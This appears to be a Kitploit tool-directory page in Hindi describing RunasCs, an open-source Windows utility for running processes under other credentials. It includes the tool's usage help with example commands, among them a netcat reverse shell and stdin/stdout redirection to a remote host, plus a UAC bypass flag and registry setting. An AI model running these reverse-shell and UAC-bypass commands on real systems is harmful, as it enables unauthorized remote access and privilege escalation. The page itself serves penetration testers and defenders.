Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
RunasCs — RunasCs - windows में निर्मित runas.exe का Csharp और ओपन संस्करण | Kitploit
उपकरण/GitHubGitHub/antoniococo/runascs
विशेषाधिकार वृद्धिपहचान छुपाने के उपकरणपार्श्व आंदोलनपोस्ट-शोषणपेनिट्रेशन टेस्टिंगरेड टीमिंग
GitHubantoniococo/runascs

RunasCs

RunasCs - windows में निर्मित runas.exe का Csharp और ओपन संस्करण

रिपॉजिटरी देखें
1.4k16192 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

RunasCs


RunasCs एक उपयोगिता है जो स्पष्ट क्रेडेंशियल्स का उपयोग करके, उपयोगकर्ता के वर्तमान लॉगऑन द्वारा प्रदान की गई अनुमतियों से भिन्न अनुमतियों के साथ विशिष्ट प्रक्रियाओं को चलाती है। यह उपकरण विंडोज़ के अंतर्निहित runas.exe का एक बेहतर और खुला संस्करण है जो कुछ सीमाओं को हल करता है:

  • स्पष्ट क्रेडेंशियल्स की अनुमति देता है
  • इंटरैक्टिव प्रक्रिया और सेवा प्रक्रिया दोनों से स्पॉन किए जाने पर कार्य करता है
  • नई प्रक्रिया के निर्माण के लिए Window Stations और Desktop के DACL को उचित रूप से प्रबंधित करता है
  • यदि कॉलिंग प्रक्रिया के पास आवश्यक विशेषाधिकार हैं तो CreateProcessAsUser() और CreateProcessWithTokenW() जैसे अधिक विश्वसनीय क्रिएट प्रोसेस फ़ंक्शन का उपयोग करता है (स्वचालित पहचान)
  • लॉगऑन प्रकार निर्दिष्ट करने की अनुमति देता है, जैसे 8-NetworkCleartext लॉगऑन (कोई UAC सीमाएँ नहीं)
  • जब व्यवस्थापक पासवर्ड ज्ञात हो तो UAC को बायपास करने की अनुमति देता है (फ्लैग --bypass-uac)
  • मुख्य थ्रेड के साथ अनुरोधित उपयोगकर्ता की नकल (impersonate) करते हुए प्रक्रिया बनाने की अनुमति देता है (फ्लैग --remote-impersonation)
  • stdin, stdout और stderr को रिमोट होस्ट पर रीडायरेक्ट करने की अनुमति देता है
  • यह ओपन सोर्स है :)

RunasCs में हर संदर्भ के लिए सर्वोत्तम क्रिएट प्रोसेस फ़ंक्शन निर्धारित करने हेतु स्वचालित पहचान होती है। प्रक्रिया कॉलर टोकन अनुमतियों के आधार पर, यह निम्नलिखित पसंदीदा क्रम में क्रिएट प्रोसेस फ़ंक्शन में से एक का उपयोग करेगा:

  1. CreateProcessAsUserW()
  2. CreateProcessWithTokenW()
  3. CreateProcessWithLogonW()

आवश्यकताएँ


.NET Framework >= 2.0

उपयोग


root@kitploit:~
RunasCs v1.5 - @splinter_code

Usage:
    RunasCs.exe username password cmd [-d domain] [-f create_process_function] [-l logon_type] [-r host:port] [-t process_timeout] [--force-profile] [--bypass-uac] [--remote-impersonation]

Description:
    RunasCs is an utility to run specific processes under a different user account
    by specifying explicit credentials. In contrast to the default runas.exe command
    it supports different logon types and CreateProcess* functions to be used, depending
    on your current permissions. Furthermore it allows input/output redirection (even
    to remote hosts) and you can specify the password directly on the command line.

Positional arguments:
    username                username of the user
    password                password of the user
    cmd                     commandline for the process

Optional arguments:
    -d, --domain domain
                            domain of the user, if in a domain.
                            Default: ""
    -f, --function create_process_function
                            CreateProcess function to use. When not specified
                            RunasCs determines an appropriate CreateProcess
                            function automatically according to your privileges.
                            0 - CreateProcessAsUserW
                            1 - CreateProcessWithTokenW
                            2 - CreateProcessWithLogonW
    -l, --logon-type logon_type
                            the logon type for the token of the new process.
                            Default: "2" - Interactive
    -t, --timeout process_timeout
                            the waiting time (in ms) for the created process.
                            This will halt RunasCs until the spawned process
                            ends and sent the output back to the caller.
                            If you set 0 no output will be retrieved and a
                            background process will be created.
                            Default: "120000"
    -r, --remote host:port
                            redirect stdin, stdout and stderr to a remote host.
                            Using this option sets the process_timeout to 0.
    -p, --force-profile
                            force the creation of the user profile on the machine.
                            This will ensure the process will have the
                            environment variables correctly set.
                            WARNING: If non-existent, it creates the user profile
                            directory in the C:\Users folder.
    -b, --bypass-uac
                            try a UAC bypass to spawn a process without
                            token limitations (not filtered).
    -i, --remote-impersonation
                            spawn a new process and assign the token of the
                            logged on user to the main thread.

Examples:
    Run a command as a local user
        RunasCs.exe user1 password1 "cmd /c whoami /all"
    Run a command as a domain user and logon type as NetworkCleartext (8)
        RunasCs.exe user1 password1 "cmd /c whoami /all" -d domain -l 8
    Run a background process as a local user,
        RunasCs.exe user1 password1 "C:\tmp\nc.exe 10.10.10.10 4444 -e cmd.exe" -t 0
    Redirect stdin, stdout and stderr of the specified command to a remote host
        RunasCs.exe user1 password1 cmd.exe -r 10.10.10.10:4444
    Run a command simulating the /netonly flag of runas.exe
        RunasCs.exe user1 password1 "cmd /c whoami /all" -l 9
    Run a command as an Administrator bypassing UAC
        RunasCs.exe adm1 password1 "cmd /c whoami /priv" --bypass-uac
    Run a command as an Administrator through remote impersonation
        RunasCs.exe adm1 password1 "cmd /c echo admin > C:\Windows\admin" -l 8 --remote-impersonation

दोनों प्रक्रियाएँ (कॉल करने वाली और कॉल की जाने वाली) एक पाइप के माध्यम से संवाद करेंगी (stdout और stderr दोनों के लिए)। डिफ़ॉल्ट लॉगऑन प्रकार 2 (Interactive) है।

डिफ़ॉल्ट रूप से, Interactive (2) लॉगऑन प्रकार UAC द्वारा प्रतिबंधित होता है और इन प्रमाणीकरणों से उत्पन्न टोकन फ़िल्टर किए जाते हैं। निम्नलिखित regkey को 0 पर सेट करके और सर्वर को पुनः प्रारंभ करके आप बिना किसी प्रतिबंध के इंटरैक्टिव लॉगऑन कर सकते हैं:

root@kitploit:~
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA

अन्यथा, आप टोकन फ़िल्टरिंग सीमा को बायपास करने के प्रयास के लिए --bypass-uac फ्लैग आज़मा सकते हैं।

NetworkCleartext (8) लॉगऑन प्रकार सबसे व्यापक अनुमतियों वाला है, क्योंकि यह स्थानीय टोकन में UAC द्वारा फ़िल्टर नहीं होता है और फिर भी अनुमति देता है नेटवर्क पर प्रमाणीकरण की, क्योंकि यह प्रमाणीकरण पैकेज में क्रेडेंशियल्स संग्रहीत करता है। यदि आपके पास पर्याप्त विशेषाधिकार हैं, तो हमेशा इस लॉगऑन प्रकार को --logon-type 8 फ्लैग के माध्यम से निर्दिष्ट करने का प्रयास करें।

डिफ़ॉल्ट रूप से, कॉल करने वाली प्रक्रिया (RunasCs) स्पॉन की गई प्रक्रिया के निष्पादन के अंत तक प्रतीक्षा करेगी। यदि आपको बैकग्राउंड या async प्रक्रिया स्पॉन करने की आवश्यकता है, जैसे रिवर्स शेल स्पॉन करना, तो आपको -t timeout पैरामीटर को 0 पर सेट करना होगा। इस स्थिति में RunasCs नई स्पॉन की गई प्रक्रिया के निष्पादन के अंत की प्रतीक्षा नहीं करेगा।

संदर्भ


  • पोटैटोज़ और टोकन्स
  • C++ में इंटरैक्टिव क्लाइंट प्रोसेस प्रारंभ करना
  • रीडायरेक्टेड इनपुट और आउटपुट के साथ चाइल्ड प्रोसेस बनाना
  • इंटरैक्टिव सेवाएँ
  • "The application failed to initialize properly (0xc0000142)" त्रुटि के साथ क्या मामला है?
  • इंटरैक्टिव सेवा खाता शेल प्राप्त करना
  • UAC को समझना (भाग 1)
  • UAC को समझना (भाग 2)
  • UAC को समझना (भाग 3)
  • Vanara - विंडोज़ के लिए .NET लाइब्रेरीज़ का एक सेट जो कई मूल विंडोज़ APIs के लिए PInvoke कॉल्स को सहायक रैपरों के साथ लागू करता है

क्रेडिट्स


  • @decoder
  • @qtc-de
  • @winlogon0
टूल डाउनलोड करें